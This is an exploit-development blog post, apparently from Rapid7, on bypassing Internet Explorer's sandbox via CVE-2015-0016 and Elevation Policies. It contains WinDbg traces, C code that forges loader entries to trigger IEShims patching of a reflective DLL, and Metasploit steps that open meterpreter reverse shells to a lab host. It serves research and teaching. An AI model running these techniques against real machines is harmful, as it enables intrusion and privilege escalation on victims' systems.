Last updated at Mon, 22 Jan 2024 18:32:16 GMT

As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed by Henry Li, who published a complete description in this blog entry.  This kind of vulnerability abuses the TSWbPrxy.exe component (which is already executed as a Medium Integrity process due to an Elevation Policy) in order to run arbitrary code with Medium Integrity. An exploit for this vulnerability already exists in Metasploit.

An interesting note about this exploit (and others abuses of IE Elevation Policies) is that the exploit is implemented as a regular DLL run by Meterpreter's old "in-memory" loader, based on the original design by skape and Jarkko Turkulainen. In case you are not familiar with how this loader works, it hooks several ntdll methods related to DLL loading. In contrast, the latest Meterpreter code accomplishes in-memory loading through Reflective DLL Injection. Indeed, many local exploits, including Meterpreter itself, are implemented as Reflective DLLs.

So, why aren't we implementing exploits for IE Elevation Policies as Reflective DLLs? The short answer is that their import address table (IAT) is not patched automatically with the IE shims.  As a result, any calls (like CreateProcess)  will be evaluated against the Elevation Policies (thanks 0vercl0k for the grammar warning ) won't be evaluated against the Elevation Policies, since they won't reach the broker. It means that, while you can use kernel exploits with Reflective DLLs to bypass sandboxes, you are stuck when attempting to abuse a policy.

Let us examine CVE-2015-0016 as an example of policy abuse. According to the IE Elevation Policy, TSWbPrxy.exe should be executed as Medium Integrity:

Indeed, if you build a plain DLL to create the new TSWbPrxy.exe process, and use the Meterpreter's old memory loader, you will notice that the new process runs as Medium Integrity.

But, if you try to do the same with a Reflective DLL, you'll notice that the new process runs as Low Integrity:

In the last case, the IAT of the DLL has not been patched either:

0:006> !dh 02a40000 -f  
  
  
File Type: DLL  
FILE HEADER VALUES  
     14C machine (i386)  
       5 number of sections  
55DE3622 time date stamp Wed Aug 26 16:56:50 2015  
  
  
       0 file pointer to symbol table  
       0 number of symbols  
      E0 size of optional header  
    2102 characteristics  
            Executable  
            32 bit word machine  
            DLL  
  
  
OPTIONAL HEADER VALUES  
     10B magic #  
   12.00 linker version  
    A600 size of code  
    8800 size of initialized data  
       0 size of uninitialized data  
    15F5 address of entry point  
    1000 base of code  
         ----- new -----  
10000000 image base  
    1000 section alignment  
     200 file alignment  
       2 subsystem (Windows GUI)  
    6.00 operating system version  
    0.00 image version  
    6.00 subsystem version  
   16000 size of image  
     400 size of headers  
       0 checksum  
00100000 size of stack reserve  
00001000 size of stack commit  
00100000 size of heap reserve  
00001000 size of heap commit  
     140  DLL characteristics  
            Dynamic base  
            NX compatible  
   10120 [      59] address [size] of Export Directory  
   1017C [      28] address [size] of Import Directory  
   14000 [     1E0] address [size] of Resource Directory  
       0 [       0] address [size] of Exception Directory  
       0 [       0] address [size] of Security Directory  
   15000 [     CB8] address [size] of Base Relocation Directory  
    C140 [      38] address [size] of Debug Directory  
       0 [       0] address [size] of Description Directory  
       0 [       0] address [size] of Special Directory  
       0 [       0] address [size] of Thread Storage Directory  
    FD30 [      40] address [size] of Load Configuration Directory  
       0 [       0] address [size] of Bound Import Directory  
    C000 [      F8] address [size] of Import Address Table Directory  
       0 [       0] address [size] of Delay Import Directory  
       0 [       0] address [size] of COR20 Header Directory  
       0 [       0] address [size] of Reserved Directory  
  
  
0:006> dps 02a40000+C000 02a40000+C000+F8  
02a4c000  76d92082 kernel32!CreateProcessA  
02a4c004  76de8eaf kernel32!GetCommandLineAStub  
02a4c008  76ddc410 kernel32!GetCurrentThreadIdStub  
02a4c00c  76dd7e1a kernel32!IsDebuggerPresentStub  
02a4c010  76de6c1e kernel32!IsProcessorFeaturePresent  
02a4c014  76ddcde0 kernel32!GetLastErrorStub  
02a4c018  76ddc3f0 kernel32!SetLastError  
02a4c01c  771ba295 ntdll!RtlEncodePointer  
02a4c020  771bcd10 ntdll!RtlDecodePointer  
02a4c024  76debbe2 kernel32!DisablePredefinedHandleTableForIndex  
02a4c028  76dd54ff kernel32!GetModuleHandleExWStub  
02a4c02c  76ddcc94 kernel32!GetProcAddressStub  
02a4c030  76ddef07 kernel32!MultiByteToWideCharStub  
02a4c034  76ddeefa kernel32!WideCharToMultiByteStub  
02a4c038  76ddfcdd kernel32!GetProcessHeapStub  
02a4c03c  76de8e97 kernel32!GetStdHandleStub  
02a4c040  76de6ab4 kernel32!GetFileTypeImplementation  
02a4c044  771b9ac5 ntdll!RtlDeleteCriticalSection  
02a4c048  76dde2dd kernel32!GetStartupInfoWStub  
02a4c04c  76ddd75a kernel32!GetModuleFileNameAStub  
02a4c050  76ddc3c0 kernel32!HeapFree  
02a4c054  76ddc422 kernel32!QueryPerformanceCounterStub  
02a4c058  76ddd7b5 kernel32!GetCurrentProcessIdStub  
02a4c05c  76ddd816 kernel32!GetSystemTimeAsFileTimeStub  
02a4c060  76de6bc4 kernel32!GetEnvironmentStringsWStub  
02a4c064  76de6bac kernel32!FreeEnvironmentStringsWStub  
02a4c068  76df0651 kernel32!UnhandledExceptionFilter  
02a4c06c  76ddf4fb kernel32!SetUnhandledExceptionFilter  
02a4c070  76ddea21 kernel32!InitializeCriticalSectionAndSpinCountStub  
02a4c074  76ddc266 kernel32!SleepStub  
02a4c078  76ddd7a0 kernel32!GetCurrentProcessStub  
02a4c07c  76dd2c05 kernel32!TerminateProcessStub  
02a4c080  76ddd804 kernel32!TlsAllocStub  
02a4c084  76ddf760 kernel32!TlsGetValueStub  
02a4c088  76ddf783 kernel32!TlsSetValueStub  
02a4c08c  76de5259 kernel32!TlsFreeStub  
02a4c090  76ddccac kernel32!GetModuleHandleWStub  
02a4c094  771a7790 ntdll!RtlEnterCriticalSection  
02a4c098  771a7750 ntdll!RtlLeaveCriticalSection  
02a4c09c  76deb915 kernel32!IsValidCodePageStub  
02a4c0a0  76ddd90b kernel32!GetACPStub  
02a4c0a4  76dd440a kernel32!GetOEMCPStub  
02a4c0a8  76de8e7f kernel32!GetCPInfoStub  
02a4c0ac  76de53ee kernel32!WriteFileImplementation  
02a4c0b0  76ddef35 kernel32!GetModuleFileNameWStub  
02a4c0b4  76dd50c1 kernel32!LoadLibraryExWStub  
02a4c0b8  76dc92da kernel32!RtlUnwindStub  
02a4c0bc  771b2dd6 ntdll!RtlAllocateHeap  
02a4c0c0  771cff8f ntdll!RtlReAllocateHeap  
02a4c0c4  76de532e kernel32!GetStringTypeWStub  
02a4c0c8  76dc6e3a kernel32!OutputDebugStringWStub  
02a4c0cc  771b9bec ntdll!RtlSizeHeap  
02a4c0d0  76de528c kernel32!LCMapStringWStub  
02a4c0d4  76dc852f kernel32!FlushFileBuffersImplementation  
02a4c0d8  76ddbf19 kernel32!GetConsoleCP  
02a4c0dc  76dec110 kernel32!GetConsoleMode  
02a4c0e0  76e1fcf9 kernel32!SetStdHandleStub  
02a4c0e4  76dcfbb2 kernel32!SetFilePointerExStub  
02a4c0e8  76dd857d kernel32!WriteConsoleW  
02a4c0ec  76dde868 kernel32!CloseHandleImplementation  
02a4c0f0  76dde8a5 kernel32!CreateFileWImplementation  
02a4c0f4  00000000  
02a4c0f8  00000000

The Reflective DLL is, unfortunately, too stealthy here (what an irony! ). An obvious solution to this problem to would be to patch the DLL's IAT by ourselves. In order to do that, we need a list of the IE Shims to patch. Unfortunately, this would require a lot of maintenance in order to keep the list of hooks up to date, requiring changes for every Windows update.

A second and better strategy would be to allow Windows/IE to do the work for us. The first question we need to ask is, what IE does in order to get a module's IAT patched when it loads it? We can find a clue in the excellent paper by Mark Vicent Yanson "Diving Into IE 10's Enhanced Protected Mode Sandbox". According to this paper: "The shim mechanism is provided by the ieshims.dll module which sets up a callback that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotification() API". If you check the list of registered callbacks on NTDLL for a Low Priviliged iexplore process, the IESHIMS callback (IEShims!CShimBindings::_LdrNotificationCallback) is the first one:

0:006> dd ntdll!LdrpDllNotificationList L3  
77237280  00419010 00419010 00300026  
0:006> dd 00419010 L3  
00419010  77237280 77237280 6c643b40  
0:006> u 6c643b40 L1  
IEShims!CShimBindings::_LdrNotificationCallback:  
6c643b40 6a04            push    4  

The main purpose of the callback is to verify the required shims for the new loaded library (with the help of CShimBindings::_GetNeededShims()), and fixup the entry point of the module on his LDR_DATA_TABLE_ENTRY. Here is the moment of patching the DNSAPI.dll LD_ENTRY_TABLE_ENTRY (still with the original entry point 0x74a063f9):

ModLoad: 749f0000 74a34000   C:\Windows\system32\DNSAPI.dll  
Breakpoint 0 hit  
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48  
eip=6c643dcd esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
IEShims!CShimBindings::OnModuleLoaded+0xcd:  
6c643dcd c7461c8029646c  mov     dword ptr [esi+1Ch],offset IEShims!CShimBindings::s_DllMainHook (6c642980) ds:0023:0033aa9c={DNSAPI!_DllMainCRTStartup (74a063f9)}  
0:014> r esi  
esi=0033aa80  
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80  
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]  
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]  
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]  
   +0x018 DllBase          : 0x749f0000 Void  
   +0x01c EntryPoint       : 0x74a063f9 Void  
   +0x020 SizeOfImage      : 0x44000  
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"  
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"  
   +0x034 Flags            : 4  
   +0x038 LoadCount        : 0  
   +0x03a TlsIndex         : 0  
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]  
   +0x03c SectionPointer   : 0x7723a678 Void  
   +0x040 CheckSum         : 0x262ffc  
   +0x044 TimeDateStamp    : 0x4ce7b7e6  
   +0x044 LoadedImports    : 0x4ce7b7e6 Void  
   +0x048 EntryPointActivationContext : (null)  
   +0x04c PatchInformation : (null)  
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]  
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]  
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]  
   +0x068 ContextInformation : (null)  
   +0x06c OriginalBase     : 0x6dc00000  
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0  

After installing the instruction, the new entry point (0x6c642980) can be observed:

0:014> p  
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48  
eip=6c643dd4 esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
IEShims!CShimBindings::OnModuleLoaded+0xd4:  
6c643dd4 c6474001        mov     byte ptr [edi+40h],1       ds:0023:0027af88=00  
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80  
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]  
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]  
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]  
   +0x018 DllBase          : 0x749f0000 Void  
   +0x01c EntryPoint       : 0x6c642980 Void  
   +0x020 SizeOfImage      : 0x44000  
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"  
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"  
   +0x034 Flags            : 4  
   +0x038 LoadCount        : 0  
   +0x03a TlsIndex         : 0  
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]  
   +0x03c SectionPointer   : 0x7723a678 Void  
   +0x040 CheckSum         : 0x262ffc  
   +0x044 TimeDateStamp    : 0x4ce7b7e6  
   +0x044 LoadedImports    : 0x4ce7b7e6 Void  
   +0x048 EntryPointActivationContext : (null)  
   +0x04c PatchInformation : (null)  
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]  
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]  
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]  
   +0x068 ContextInformation : (null)  
   +0x06c OriginalBase     : 0x6dc00000  
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0  
0:014> u  0x6c642980 L1  
IEShims!CShimBindings::s_DllMainHook:  
6c642980 8bff            mov     edi,edi  

Once the library is loaded, it's the address where the NTDLL loader code will transfer execution:

Breakpoint 1 hit  
eax=00000000 ebx=00000001 ecx=036bdbbc edx=00000020 esi=036bdb24 edi=036bdbe0  
eip=6c642980 esp=036bdb14 ebp=036bdb30 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
IEShims!CShimBindings::s_DllMainHook:  
6c642980 8bff            mov     edi,edi  
0:014> kb  
ChildEBP RetAddr  Args to Child      
036bdb10 771b89d8 749f0000 00000001 00000000 IEShims!CShimBindings::s_DllMainHook  
036bdb30 771c5c71 6c642980 749f0000 00000001 ntdll!LdrpCallInitRoutine+0x14  
036bdc24 771c052e 00000000 7fa602ab 771a7c8a ntdll!LdrpRunInitializeRoutines+0x26f  
036bdd90 771c2322 036bddf0 036bddbc 00000000 ntdll!LdrpLoadDll+0x4d1  
036bddc4 75178bb1 00281104 036bde08 036bddf0 ntdll!LdrLoadDll+0x92  
036bde00 75179044 00000000 00000000 00281104 KERNELBASE!LoadLibraryExW+0x1d3  
036bde20 76ba3611 76d2d6c0 00000000 00000000 KERNELBASE!LoadLibraryExA+0x26  

The IEShims!CShimBindings::s_DllMainHook method will patch the module IAT with the help of CShimBindings::ApplyShims() and finally call the original entry point:

Breakpoint 2 hit  
eax=00000001 ebx=0027af48 ecx=74a063f9 edx=0027ba50 esi=036bdac4 edi=74a063f9  
eip=6c642a9c esp=036bdab8 ebp=036bdb10 iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
IEShims!CShimBindings::s_DllMainHook+0x11d:  
6c642a9c ffd7            call    edi {DNSAPI!_DllMainCRTStartup (74a063f9)}  

At this point you can observe how the required DNSAPI IAT entries have been pached and redirected to the IE Shims:

0:014> !dh DNSAPI -f  
  
  
File Type: DLL  
FILE HEADER VALUES  
     14C machine (i386)  
       4 number of sections  
4CE7B7E6 time date stamp Sat Nov 20 05:58:30 2010  
  
  
       0 file pointer to symbol table  
       0 number of symbols  
      E0 size of optional header  
    2102 characteristics  
            Executable  
            32 bit word machine  
            DLL  
  
  
OPTIONAL HEADER VALUES  
     10B magic #  
    9.00 linker version  
   37C00 size of code  
    A000 size of initialized data  
       0 size of uninitialized data  
   163F9 address of entry point  
    1000 base of code  
         ----- new -----  
749f0000 image base  
    1000 section alignment  
     200 file alignment  
       3 subsystem (Windows CUI)  
    6.01 operating system version  
    6.01 image version  
    6.01 subsystem version  
   44000 size of image  
     600 size of headers  
   50F65 checksum  
00040000 size of stack reserve  
00001000 size of stack commit  
00100000 size of heap reserve  
00001000 size of heap commit  
     140  DLL characteristics  
            Dynamic base  
            NX compatible  
    12C8 [    1AF9] address [size] of Export Directory  
   37998 [     1A4] address [size] of Import Directory  
   3C000 [    4A58] address [size] of Resource Directory  
       0 [       0] address [size] of Exception Directory  
       0 [       0] address [size] of Security Directory  
   41000 [    26A4] address [size] of Base Relocation Directory  
   38A14 [      38] address [size] of Debug Directory  
       0 [       0] address [size] of Description Directory  
       0 [       0] address [size] of Special Directory  
       0 [       0] address [size] of Thread Storage Directory  
   23E58 [      40] address [size] of Load Configuration Directory  
     278 [     324] address [size] of Bound Import Directory  
    1000 [     2C8] address [size] of Import Address Table Directory  
   374BC [     100] address [size] of Delay Import Directory  
       0 [       0] address [size] of COR20 Header Directory  
       0 [       0] address [size] of Reserved Directory  
  
  
0:014> dps DNSAPI+1000 DNSAPI+1000+2C8  
749f1000  76e79894 msvcrt!free  
749f1004  76e79cee msvcrt!malloc  
749f1008  76e9dc75 msvcrt!_XcptFilter  
749f100c  76e7c151 msvcrt!_initterm  
749f1010  76e7ad52 msvcrt!towlower  
.  
.  
.  
.  
749f10bc  6c6431e0 IEShims!NS_GetProcAddressShim::APIHook_GetProcAddress  
.  
.  
.  

So far so good! Next, can we reach IEShims!CShimBindings::_LdrNotificationCallback with our reflective DLL? Our first approach was to add a fake entry to the InMemoryOrderModuleList and then reuse LoadLibrary to reach the "IEShims!CShimBindings::_LdrNotificationCallback". Unfortunately, soon we discovered this was not sufficient to reach the point where the DLL notification callbacks are executed. As a second attempt, we tried to determine the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to get the address of the callback, we used the following technique:

  1. Get the address of the export ntdll!LdrRegisterDllNotification
  2. From there, search for the address of the _LdrpDllNotificationList. This list saves the collection of registered callbacks. With IE, the first callback is the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to implement a (hopefully) reliable search mechanism, we use the new entry in the list as a signature.

The resulting code to disclose the pointer to the IEShims callback looks something like:

// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback  
static SIZE_T SearchLdrNotificationCallback()  
{  
  HMODULE ntdll = LoadLibraryA("ntdll.dll");  
  FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification");  
  PUCHAR searchPtr = (unsigned char *)registerDllMethod;  
  UCHAR testByte = 0x00;  
  SIZE_T pNotificationList = 0;  
  SIZE_T pNotificationCallback = 0;  
  for (int i = 0; i < 0x1000; i++) {  
       if (searchPtr[i] == searchPtr[i + 5] + 4 &&  
            searchPtr[i + 1] == searchPtr[i + 6] &&  
            searchPtr[i + 2] == searchPtr[i + 7] &&  
            searchPtr[i + 3] == searchPtr[i + 8]) {  
            searchPtr = searchPtr + i;  
            pNotificationList = *(SIZE_T *)searchPtr;  
            break;  
       }  
       if (searchPtr[i] == searchPtr[i + 6] + 4 &&  
            searchPtr[i + 1] == searchPtr[i + 7] &&  
            searchPtr[i + 2] == searchPtr[i + 8] &&  
            searchPtr[i + 3] == searchPtr[i + 9]) {  
            searchPtr = searchPtr + i;  
            pNotificationList = *(SIZE_T *)searchPtr;  
            break;  
       }  
  }  
  
  
  memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T));  
  pNotificationCallback += sizeof(SIZE_T) * 2;  
  
  
  return pNotificationCallback;  
}  

By the way, if you have of a better way (not depending on any search) to disclose the IEShims!CShimBindings::_LdrNotificationCallback, we would love to know about it!

Once the address of the callback has been disclosed, we are ready to call it directly. As you recall, this call will modify the entry point on the LDR_DATA_TABLE_ENTRY for the notified library. So, we need to insert a new LDR_DATA_TABLE_ENTRY on the InMemoryOrderModuleList of the process being exploited. In order to understand better the process, here is a step-by-step description of what happens:

  • Create a new LDR_DATA_TABLE_ENTRY for the loaded reflective DLL.
static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint)  
{  
  fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY));  
  memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY));  
  fakeLdrEntry->DllBase = dllBase;  
  fakeLdrEntry->EntryPoint = entryPoint;  
  fakeLdrEntry->SizeOfImage = 0x1b000;  
  fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll";  
  fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2;  
  fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2;  
  fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll";  
  fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2;  
  fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2;  
}  
  • Hook the LDR_DATA_TABLE_ENTRY into the InMemoryOrderLinks list of the attacked process:
staticVOID HookFakeModule(HINSTANCEhinstDLL, PVOIDep) {  
  PentryPoint entryPoint = (PentryPoint)ep;  
  _PPEB pPeb = (_PPEB)__readfsdword(0x30);  
  
  LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList;  
  // Make Backup to restore later  
  headBackup = head;  
  
  PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8);  
  CreateFakeModule(firstEntry, hinstDLL, entryPoint);  
  
  // Insert the fake entry in the InMemoryOrderModuleList  
  fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink;  
  fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink;  
  // Fix the list  
  pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks);  
  pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks);  
  
  return;  
}  
  • Create a LDR_DLL_LOADED_NOTIFICATION_DATA structure for our Reflective DLL (so we can call the IEShims notification callback later).
staticVOID CreateFakeNotification(HINSTANCEhinstDLL)  
{  
  fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA));  
  fakeNotification->DllBase = hinstDLL;  
  fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));  
  fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll";  
  fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2;  
  fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2;  
  fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));  
  fakeNotification->FullDllName->pBuffer = L"WinRefl.dll";  
  fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2;  
  fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2;  
  fakeNotification->SizeOfImage = 0x1b000;  
  fakeNotification->Flags = 0;  
}  
  • Disclose the address of IEShims!CShimBindings::_LdrNotificationCallback as explained before, and call it directly.

Once the callback is executed successfully, we should be able to retrieve the address of the CShimBindings::s_DllMainHook from the patched entry point in our crafted LDR_DLL_LOADED_NOTIFICATION_DATA. Good enough! Now we call CShimBindings::s_DllMainHook by ourselves, allowing IEShims to:

  1. patch our reflective DLL IAT and
  2. call our reflective DLL entry point again!

At that moment we should be able to exploit the policy escalation, escaping the sandbox and living happily as a Medium Integrity process!

As a proof of concept, the Metasploit module ms15_004_tswbproxy for CVE-2015-0016 has been updated to use a Reflective DLL. The Pull Request with all the code can be found here: Update ms15_004_tswbproxy to use a Reflective DLL by jvazquez-r7 · Pull Request #5896 · rapid7/metasploit-framework · Gi…. The changes are already in master, so you can sync your metasploit-framework to get them!

You can test all the above by yourself in the next easy way:

  • Install a target. A Windows 7 SP1 machine with IE (and not MS15-004) should work.
  • Get a Meterpreter session on the target. It doesn't matter how you get the session really. For this example, I have embedded a meterpreter/reverse_tcp payload into an EXE and used the exploit/multi/handler to retrieve a new session.
msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set lhost 172.16.158.1  
lhost => 172.16.158.1  
msf exploit(handler) > rexploit  
[*] Reloading module...  
  
  
[*] Started reverse handler on 172.16.158.1:4444  
[*] Starting the payload handler...  
[*] Sending stage (885806 bytes) to 172.16.158.131  
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500  
  • Migrate the session to an IE renderer Low Privileged process.
meterpreter > migrate 3500  
[*] Migrating from 2708 to 3500...  
;[*] Migration completed successfully.  
meterpreter > background  
[*] Backgrounding session 1...  
  • Use the ms15_004_tswbproxy on the session and get a new session.
msf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy  
msf exploit(ms15_004_tswbproxy) > set session 1  
session => 1  
msf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1  
lhost => 172.16.158.1  
msf exploit(ms15_004_tswbproxy) > rexploit  
[*] Reloading module...  
  
[*] Started reverse handler on 172.16.158.1:4444  
[*] Checking target...  
[*] Checking the Process Integrity Level...  
[*] Storing payload on environment variable...  
[*] Exploiting...  
[*] Injecting exploit into 3500...  
[*] Payload injected. Executing exploit...  
[*] Sending stage (885806 bytes) to 172.16.158.131  
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500  
  
meterpreter > getpid  
Current pid: 3232  
  • The new Meterpreter session should live in a Medium Integrity process!